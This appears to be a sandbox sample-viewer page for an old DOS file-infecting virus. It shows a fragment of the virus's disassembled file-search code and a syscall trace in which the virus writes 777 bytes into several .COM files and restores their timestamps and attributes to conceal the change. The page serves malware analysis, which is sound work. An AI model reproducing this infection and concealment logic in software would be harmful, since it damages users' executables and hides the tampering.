Sample viewer

vx.netlux.org/Virus.DOS.Leprosy.Popov.777

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:00:24.738333742Z 44 PC: 12b38 | Get time 0x12b38: cmp byte ptr [0x107], 0
0x12b3d: je 0x12b44
0x12b3f: cmp dh, 0xf
0x12b42: jg 0x12b4d
0x12b44: cmp dl, 0
0x12b47: je 0x12b34
0x12b49: mov byte ptr [0x107], dl
0x12b4d: mov byte ptr [0x1e9], 0
0x12b52: mov byte ptr [0x1ea], 4
0x12b57: mov byte ptr [0x1f3], 0
0x12b5c: mov cx, 0x27
0x12b5f: mov dx, 0x134
0x12b62: mov ah, 0x4e
0x12b64: int 0x21
0x12b66: cmp ax, 0x12
0x12b69: je 0x12b6e
0x12b6b: call 0x12b90
0x12b6e: mov cx, 0x27
0x12b71: mov dx, 0x13a
0x12b74: mov ah, 0x4e
2018-12-17T22:00:24.740806531Z 78 PC: 12b66 | Find first file
2018-12-17T22:00:24.746334587Z 78 PC: 12b78 | Find first file
2018-12-17T22:00:24.75177567Z 67 PC: 12bb1 | Get or set file attributes
2018-12-17T22:00:24.768098897Z 61 PC: 12bb7 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:00:24.774968797Z 63 PC: 12bc6 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:00:24.781255908Z 62 PC: 12bfa | Close file
2018-12-17T22:00:24.783855388Z 61 PC: 12c03 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:00:24.790736486Z 64 PC: 12a5c | Write file or device (Write 777 bytes on handle 5)
2018-12-17T22:00:24.79894674Z 87 PC: 12c2b | Get or set file date and time
2018-12-17T22:00:24.800736067Z 62 PC: 12c33 | Close file
2018-12-17T22:00:24.808907285Z 67 PC: 12c40 | Get or set file attributes
2018-12-17T22:00:24.814185667Z 79 PC: 12bea | Find next file
2018-12-17T22:00:24.816930731Z 67 PC: 12bb1 | Get or set file attributes
2018-12-17T22:00:24.827035561Z 61 PC: 12bb7 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:00:24.833330662Z 63 PC: 12bc6 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:00:24.83985019Z 62 PC: 12bfa | Close file
2018-12-17T22:00:24.841956549Z 61 PC: 12c03 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:00:24.848771932Z 64 PC: 12a5c | Write file or device (Write 777 bytes on handle 5)
2018-12-17T22:00:24.856788266Z 87 PC: 12c2b | Get or set file date and time
2018-12-17T22:00:24.865331016Z 62 PC: 12c33 | Close file
2018-12-17T22:00:24.873420166Z 67 PC: 12c40 | Get or set file attributes
2018-12-17T22:00:24.878639308Z 79 PC: 12bea | Find next file
2018-12-17T22:00:24.881490089Z 67 PC: 12bb1 | Get or set file attributes
2018-12-17T22:00:24.891015539Z 61 PC: 12bb7 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:00:24.895620268Z 63 PC: 12bc6 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:00:24.900969113Z 62 PC: 12bfa | Close file
2018-12-17T22:00:24.902331751Z 61 PC: 12c03 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:00:24.909205371Z 64 PC: 12a5c | Write file or device (Write 777 bytes on handle 5)
2018-12-17T22:00:24.918139987Z 87 PC: 12c2b | Get or set file date and time
2018-12-17T22:00:24.91954193Z 62 PC: 12c33 | Close file
2018-12-17T22:00:24.927310129Z 67 PC: 12c40 | Get or set file attributes
2018-12-17T22:00:24.9323313Z 79 PC: 12bea | Find next file
2018-12-17T22:00:24.935015462Z 67 PC: 12bb1 | Get or set file attributes
2018-12-17T22:00:24.947326042Z 61 PC: 12bb7 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:00:24.954302659Z 63 PC: 12bc6 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:00:24.960730892Z 62 PC: 12bfa | Close file
2018-12-17T22:00:24.962370501Z 61 PC: 12c03 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:00:24.969972474Z 64 PC: 12a5c | Write file or device (Write 777 bytes on handle 5)
2018-12-17T22:00:24.979071174Z 87 PC: 12c2b | Get or set file date and time
2018-12-17T22:00:24.980458742Z 62 PC: 12c33 | Close file
2018-12-17T22:00:24.988169161Z 67 PC: 12c40 | Get or set file attributes
2018-12-17T22:00:24.992970939Z 9 PC: 12c6e | Display string (String= ' Privet iz Khanti-Mansiyska')
2018-12-17T22:00:24.997636635Z 76 PC: 12c72 | Terminate with return code (Return code = '36')